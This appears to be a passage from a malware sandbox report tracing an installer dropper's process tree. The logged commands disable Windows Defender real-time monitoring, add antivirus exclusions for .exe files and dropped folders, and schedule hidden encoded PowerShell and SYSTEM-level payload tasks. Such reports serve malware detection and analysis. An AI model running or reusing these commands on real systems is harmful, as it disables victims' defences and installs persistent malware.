powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEdescription pid process Token: SeDebugPrivilege 876 powershell.EXE Token: SeDebugPrivilege 980 powershell.EXE Token: SeDebugPrivilege 1652 powershell.EXE Token: SeDebugPrivilege 2008 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exedescription pid process target process PID 1204 wrote to memory of 1228 1204 file.exe Install.exe PID 1204 wrote to memory of 1228 1204 file.exe Install.exe PID 1204 wrote to memory of 1228 1204 file.exe Install.exe PID 1204 wrote to memory of 1228 1204 file.exe Install.exe PID 1204 wrote to memory of 1228 1204 file.exe Install.exe PID 1204 wrote to memory of 1228 1204 file.exe Install.exe PID 1204 wrote to memory of 1228 1204 file.exe Install.exe PID 1228 wrote to memory of 1736 1228 Install.exe Install.exe PID 1228 wrote to memory of 1736 1228 Install.exe Install.exe PID 1228 wrote to memory of 1736 1228 Install.exe Install.exe PID 1228 wrote to memory of 1736 1228 Install.exe Install.exe PID 1228 wrote to memory of 1736 1228 Install.exe Install.exe PID 1228 wrote to memory of 1736 1228 Install.exe Install.exe PID 1228 wrote to memory of 1736 1228 Install.exe Install.exe PID 1736 wrote to memory of 1940 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 1940 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 1940 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 1940 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 1940 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 1940 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 1940 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 288 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 288 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 288 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 288 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 288 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 288 1736 Install.exe forfiles.exe PID 1736 wrote to memory of 288 1736 Install.exe forfiles.exe PID 1940 wrote to memory of 540 1940 forfiles.exe cmd.exe PID 1940 wrote to memory of 540 1940 forfiles.exe cmd.exe PID 1940 wrote to memory of 540 1940 forfiles.exe cmd.exe PID 1940 wrote to memory of 540 1940 forfiles.exe cmd.exe PID 1940 wrote to memory of 540 1940 forfiles.exe cmd.exe PID 1940 wrote to memory of 540 1940 forfiles.exe cmd.exe PID 1940 wrote to memory of 540 1940 forfiles.exe cmd.exe PID 288 wrote to memory of 988 288 forfiles.exe cmd.exe PID 288 wrote to memory of 988 288 forfiles.exe cmd.exe PID 288 wrote to memory of 988 288 forfiles.exe cmd.exe PID 288 wrote to memory of 988 288 forfiles.exe cmd.exe PID 288 wrote to memory of 988 288 forfiles.exe cmd.exe PID 288 wrote to memory of 988 288 forfiles.exe cmd.exe PID 288 wrote to memory of 988 288 forfiles.exe cmd.exe PID 540 wrote to memory of 1832 540 cmd.exe reg.exe PID 540 wrote to memory of 1832 540 cmd.exe reg.exe PID 540 wrote to memory of 1832 540 cmd.exe reg.exe PID 540 wrote to memory of 1832 540 cmd.exe reg.exe PID 540 wrote to memory of 1832 540 cmd.exe reg.exe PID 540 wrote to memory of 1832 540 cmd.exe reg.exe PID 540 wrote to memory of 1832 540 cmd.exe reg.exe PID 988 wrote to memory of 1576 988 cmd.exe reg.exe PID 988 wrote to memory of 1576 988 cmd.exe reg.exe PID 988 wrote to memory of 1576 988 cmd.exe reg.exe PID 988 wrote to memory of 1576 988 cmd.exe reg.exe PID 988 wrote to memory of 1576 988 cmd.exe reg.exe PID 988 wrote to memory of 1576 988 cmd.exe reg.exe PID 988 wrote to memory of 1576 988 cmd.exe reg.exe PID 540 wrote to memory of 1704 540 cmd.exe reg.exe PID 540 wrote to memory of 1704 540 cmd.exe reg.exe PID 540 wrote to memory of 1704 540 cmd.exe reg.exe PID 540 wrote to memory of 1704 540 cmd.exe reg.exe PID 540 wrote to memory of 1704 540 cmd.exe reg.exe PID 540 wrote to memory of 1704 540 cmd.exe reg.exe PID 540 wrote to memory of 1704 540 cmd.exe reg.exe PID 988 wrote to memory of 1944 988 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS229F.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS3238.tmp\Install.exe.\Install.exe /S /site_id "525403"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "goQpjQNXo" /SC once /ST 00:26:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "goQpjQNXo"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "goQpjQNXo"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "beNJzxXkYGhzSCmkZn" /SC once /ST 07:16:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\zdwKMXh.exe\" Qf /site_id 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\system32\taskeng.exetaskeng.exe {DC8CE292-AF09-4668-820B-CAAE5621AC3D} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {B7A994FD-7643-4F89-817F-313AD61F2637} S-1-5-18:NT AUTHORITY\System:Service:1⤵
-
C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\zdwKMXh.exeC:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\zdwKMXh.exe Qf /site_id 525403 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gljnHynxu" /SC once /ST 05:08:30 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gljnHynxu"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gljnHynxu"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gQaUHIIos" /SC once /ST 05:39:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gQaUHIIos"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gQaUHIIos"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\MNBTbrbBidagOXts\BrvQItFr\PYgEKatqYTkHzYMX.wsf"3⤵
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\MNBTbrbBidagOXts\BrvQItFr\PYgEKatqYTkHzYMX.wsf"3⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gTKzBhgds" /SC once /ST 02:44:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gTKzBhgds"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gTKzBhgds"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "GrrjjXtPjBVPFNmZQ" /SC once /ST 05:01:20 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\gRhHZwC.exe\" 76 /site_id 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "GrrjjXtPjBVPFNmZQ"3⤵
-
C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\gRhHZwC.exeC:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\gRhHZwC.exe 76 /site_id 525403 /S2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "beNJzxXkYGhzSCmkZn"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\CXdyuXxQU\dxqSLF.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ErhcMqZyPKQzNnH" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ErhcMqZyPKQzNnH2" /F /xml "C:\Program Files (x86)\CXdyuXxQU\nPAnizY.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "ErhcMqZyPKQzNnH"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ErhcMqZyPKQzNnH"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "TzHNCgqXVcbCsT" /F /xml "C:\Program Files (x86)\YnFPtusxCOTU2\GkXvSaY.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "UfarzoSChLufz2" /F /xml "C:\ProgramData\RIEoyfpemMjlUPVB\SjvZUOv.xml" /RU "SYSTEM"3⤵
